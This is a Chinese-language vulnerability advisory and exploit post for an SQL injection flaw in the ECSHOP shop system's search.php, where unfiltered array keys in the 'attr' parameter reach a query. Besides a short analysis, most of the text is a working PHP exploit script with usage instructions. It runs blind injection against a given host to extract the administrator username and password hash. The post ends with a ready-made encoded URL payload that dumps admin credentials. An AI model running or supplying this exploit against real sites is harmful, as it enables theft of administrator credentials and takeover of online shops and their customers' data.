ECSHOP Search.php exp 变种

以下是原版说明:

ECSHOP商城系统Search.php页面过滤不严导致SQL注入漏洞

系统编号:
WAVDB-01606

影响版本:
ECSHOP All Version(模板改变之后就会出现注入错误的情况)


程序介绍:
ECSHOP是一款开源免费的网上商店系统。由专业的开发团队升级维护,为您提供及时高效的技术支持,您还可以根据自己的商务特征对ECSHOP进行定制,增加自己商城的特色功能。

漏洞分析:


文件 search.php
$string = base64_decode(trim($_GET['encode']));   //37行

$_REQUEST = array_merge($_REQUEST, addslashes_deep($string));   //69行

可以看出addslashes_deep 只能参数值进行过滤。
//297行
    if (!empty($_REQUEST['attr']))
    {
        $sql = "SELECT goods_id, COUNT(*) AS num FROM " . $ecs->table("goods_attr") . " WHERE 0 ";
        foreach ($_REQUEST['attr'] AS $key => $val)
        {
            if (is_not_null($val))
            {
                $attr_num++;
                $sql .= " OR (1 ";

                if (is_array($val))
                {
                    $sql .= " AND attr_id = '$key'";
$key是$_REQUEST['attr'] 的键值,就是这里没有过滤,直接进入SQL查询,造成SQL注入漏洞
可自行构造encode 的值进行注入。
<?php
$list=array("1' or 1=1) and 1=2 GROUP BY goods_id HAVING num = '1' /*"=>"yy");
$string = array("attr"=>$list);
$string = str_replace('+', '%2b', base64_encode(serialize($string)));
die($string);
?>

漏洞利用:


<?php   
ini_set("max_execution_time",0);   
error_reporting(7);   
   
function usage()   
{   
global $argv;   
exit(   
"\n--+++============================================================+++--".   
"\n--+++====== ECShop Search.php SQL Injection Exploit========+++--".   
"\n--+++============================================================+++--".   
"\n\n[+] Author: jannock".   
"\n[+] Team: http://wavdb.com/".   
"\n[+] Usage: php ".$argv[0]." <hostname> <path> <goods_id>".   
"\n[+] Ex.: php ".$argv[0]." localhost / 1".   
"\n\n");   
}   
   
function query($pos, $chr, $chs,$goodid)   
{   
switch ($chs){   
case 0:   
$query = "1=1";   
break;   
case 1:   
$query = " ascii(substring((select user_name from ecs_admin_user limit 0,1),{$pos},1))={$chr}";   
break;   
case 2:   
$query = " ascii(substring((select password from ecs_admin_user limit 0,1),{$pos},1))={$chr}";   
break;   
case 3:   
$query = " length((select user_name from ecs_admin_user limit 0,1))={$pos}";   
break;   
}   
$list=array("1' or 1=1) and 1=2 GROUP BY goods_id HAVING num = '1' union select $goodid,1 from ecs_admin_user where 1=1 and ". $query ."/*"=>"1");   
$query = array("attr"=>$list);   
$query = str_replace('+', '%2b', base64_encode(serialize($query)));   
return $query;   
}   
   
function exploit($hostname, $path, $pos, $chr, $chs,$goodid)   
{   
$chr = ord($chr);   
$conn = fsockopen($hostname, 80);   
   
$message = "GET ".$path."/search.php?encode=".query($pos, $chr, $chs,$goodid)." HTTP/1.1\r\n";   
$message .= "Host: $hostname\r\n";   
$message .= "Connection: Close\r\n\r\n";   
   
fwrite($conn, $message);   
while (!feof($conn))   
{   
$reply .= fgets($conn, 1024);   
}   
fclose($conn);   
return $reply;   
}   
   
   
function crkusername($hostname, $path, $chs,$goodid)   
{   
global $length;   
$key = "abcdefghijklmnopqrstuvwxyz0123456789";   
$chr = 0;   
$pos = 1;   
echo "[+] username: ";   
while ($pos <= $length)   
{   
$response = exploit($hostname, $path, $pos, $key[$chr], $chs,$goodid);   
   
if (preg_match ("/javascript:addToCart/i", $response))   
{   
echo $key[$chr];   
$chr = 0;   
$pos++;   
}   
else   
$chr++;   
}   
echo "\n";   
}   
   
function crkpassword($hostname, $path, $chs,$goodid)   
{   
$key = "abcdef0123456789";   
$chr = 0;   
$pos = 1;   
echo "[+] password: ";   
while ($pos <= 32)   
{   
$response = exploit($hostname, $path, $pos, $key[$chr], $chs,$goodid);   
if (preg_match ("/javascript:addToCart/i", $response))   
{   
echo $key[$chr];   
$chr = 0;   
$pos++;   
}   
else   
$chr++;   
}   
echo "\n\n";   
}   
   
function lengthcolumns($hostname, $path,$chs, $goodid)   
{   
echo "[+] username length: ";   
$exit = 0;   
$length = 0;   
$pos = 1;   
$chr = 0;   
while ($exit==0)   
{   
$response = exploit($hostname, $path, $pos, $chr, $chs,$goodid);   
if (preg_match ("/javascript:addToCart/i", $response))   
{   
$exit = 1;   
$length = $pos;   
break;   
}   
else   
{   
$pos++;   
if($pos>20)   
{   
exit("Exploit failed");   
}   
}   
}   
echo $length."\n";   
return $length;   
}   
   
   
if ($argc != 4)   
usage();   
$hostname = $argv[1];   
$path = $argv[2];   
$goodid = $argv[3];   
$length = lengthcolumns($hostname, $path, 3, $goodid);   
crkusername($hostname, $path, 1,$goodid);   
crkpassword($hostname, $path, 2,$goodid);   
   
?>   


解决方案:
厂商补丁
ECSHOP
----------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://www.ecshop.com

利用代码[Exp]:

search.php?encode=YToxOntzOjQ6ImF0dHIiO2E6MTp7czoxMjU6IjEnKSBhbmQgMT0yIEdST1VQIEJZIGdvb2RzX2lkIHVuaW9uIGFsbCBzZWxlY3QgY29uY2F0KHVzZXJfbmFtZSwweDNhLHBhc3N3b3JkLCciXCcpIHVuaW9uIHNlbGVjdCAxIyInKSwxIGZyb20gZWNzX2FkbWluX3VzZXIjIjtzOjE6IjEiO319